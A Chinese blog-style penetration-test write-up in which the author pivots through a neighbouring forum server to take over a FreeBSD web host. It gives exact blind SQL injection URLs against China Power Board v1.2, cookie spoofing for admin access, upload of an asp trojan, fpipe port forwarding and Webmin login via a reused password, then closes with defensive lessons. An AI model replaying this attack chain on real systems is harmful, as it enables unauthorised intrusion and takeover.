一次WEB服务器渗透测试笔记

渗透测试是最能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作。

  此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。

  首先当然是常规的扫描nmap -v -sS -O 211.***.***.114,得到的结果如下:

  (The 1641 ports scanned but not shown below are in state: filtered)

  Port State Service

  80/tcp open http

  Device type: general purpose

  Running: FreeBSD 4.X

  OS details: FreeBSD 4.7-RELEASE

  (注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。)

  这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。

  但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。

  嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked... ...

  当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!!

  放弃?!当然不!“一条铁链的强度取决于其最薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,最好先估算一下对方的地址段的长度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127。这个不用解释了吧!

  拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中最另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机就是突破口!

  http://211.***.***.116

  出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“Powered by China Power Board v1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。

  用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们最关心的东西,该表有四列:a_id admin password a_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,就可以进行下一步了:

  提交:

  http://211.***.***.116/list.asp?l_id=1 and exists (select a_id from admin where a_id=2)

  返回:

  Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

  [Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

  /list.asp,行145

  这些信息说明了:主机211.***.***.116上的cpb论坛的数据库并没有经过改动,与原始的表结构是一样的:表名为admin,管理员的a_id为2,这样就省了我们很多的麻烦。

  下面的目标就是要得到管理员的用户名和密码了。

  提交:

  http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where

  admin=admin)

  返回:

  Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

  [Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

  /list.asp,行145

  看来连管理员的用户名都还是默认的admin。

  那么,密码是不是也是默认的admin呢,想到这里我返回到论坛的首页用用户名admin密码admin登陆,结果失败!看来还是老老实实的猜测password的值吧!

  提交:

  http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

  (password,1)='a')

  返回的是一个报告出错的页面,这点告诉我们由MD5加密后的密码的第一位不是'a'。

  注:由MD5加密后的密码长度为16位,每一位是一个16进制数,所以理论上

最多猜测256次即可得到该值

  当提交:

  http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

  (password,1)='1')

  返回:

  Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

  [Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

  /list.asp,行145

  可以得知第一位是'1'。

  同理可以依次得到每一位的值,最终经过耐心的尝试得到'19a7e9898008f09e'。这一步可能会耗费一些时间,当然也可以通过编写一个脚本来实现自动获取的目的。

  好了,现在该轮到MD5的“暴破”专家DeMd5出场了,填入刚刚得到的'19a7e9898008f09e',下面就可以喝杯咖啡然后等着密码来找你吧!

  那么难道在密码没有破解出来之前就只有等待么?当然是否定的,我可不想指望着DeMD5能给我一个满意的答案,万一这个管理员用了十几位的数字、大小写字母和符号来组成他的密码,那岂不是惨了?!

  还好还有COOKIE欺骗这一招可用:

  用IECookiesView找到名字为211.***.***.116的COOKIE,把其中的password和username分别替换为 19a7e9898008f09e和admin,当然在这一步之前要在论坛里注册一个用户。保存后再打开http://211.***.***.116,已经是管理员的身份了。

  找到后台的管理入口,http://211.***.***.116/admindefault.asp,进去看看有什么可以利用的。

  该死,好像没有可以直接上传文件的功能,不过却可以更改用户在前台上传文件的类型。

  我毫不犹豫地把asp给加上了。跑到论坛的主界面通过发贴的方式上传了一个asp木马,成功!

  当然不要忘了把帖子删了!其他的扫尾工作倒是可以稍后再做,先看看通过这个跳板我们能得到目标主机

  211.***.***.114的什么信息吧!

  在211.***.***.116上扫描211.***.***.114:nmap -v -sS -O 211.***.***.114

  得到:

  Port State Service

  21/tcp open ftp

  22/tcp open ssh

  80/tcp open http

  10000/tcp open snet-sensor-mgmt

  这样的结果是令人满意的,至少说明211.***.***.114的防火墙对同网段的计算机开放了更多的服务,当然也意味着更多的渗透的机会!

  首先进入视野的就是ftp服务,如果有弱口令,又有上传的权限,那不就可以... ...

  先看下ftp服务器的类型,在211.***.***.116上:

  ftp 211.***.***.114

  返回:

  Connected to 211.***.***.114.

  220 Free FTP server (Version 6.00LS) ready.

  User (211.***.***.114:(none)):

  看来是FreeBSD自带的ftp服务器。

  接着拿出Xscan进行针对ftp服务的扫描:

  xscan -host 211.***.***.114 -ftp

  可惜结果令人遗憾:没有可以利用的帐号。

  后面的22和80也没有什么可以利用的,那就只剩下这个tcp10000的端口了,如果没记错,这应该是webmin的默认端口。连上去试试再说吧,在211.***.***.116上运行:

  fpipe -l 8800 -s 8800 -r 10000 211.***.***.114

  fpipe是一个端口重定向的工具,这条命令的大致意思就是把对本地8800端口的访问重定向到211.***.***.114的10000端口上。所以我们访问211.***.***.116:8800就等于访问211.***.***.114:10000了。

  在本地浏览器里输入:http://211.***.***.116:8800

  一个webmin的登陆界面出现了。现在的问题就是:怎么进去。

  还记得小组赛B组第一轮法国是怎样战胜英格兰的么?答案是:运气!

  这个webmin问题的答案也是,当我一筹莫展的时候,DeMd5告诉了我一个好消息:211.***.***.116上的cpb论坛的admin的密码为'77889900',破解出了这个密码算是运气的一部分,而另一部分就是:这个密码也是211.***.***.114上的webmin服务的。

  登陆进入webmin以后就等于控制了目标主机211.***.***.114,安装rootkit还是更换页面只是一个选择性的问题了。

  至此,任务完成,后面就是要写冗长的渗透测试报告了,但是在那之前我要写几个“如果”。

  如果1:211.***.***.116主机上的测试论坛,在测试后就删除了。

  如果2:211.***.***.116上的论坛版本为最新的。

  如果3:211.***.***.116主机安装了防火强,并做了严格的限制。

  如果4:211.***.***.114的ipfw的规则再严格些,只允许管理员的工作站登陆webmin。

  如果5:cpb论坛的密码与webmin的密码不相同。

  如果6:cpb论坛的密码足够强壮。

   这些个“如果”你做到了么?

展开阅读全文

没有更多推荐了,返回首页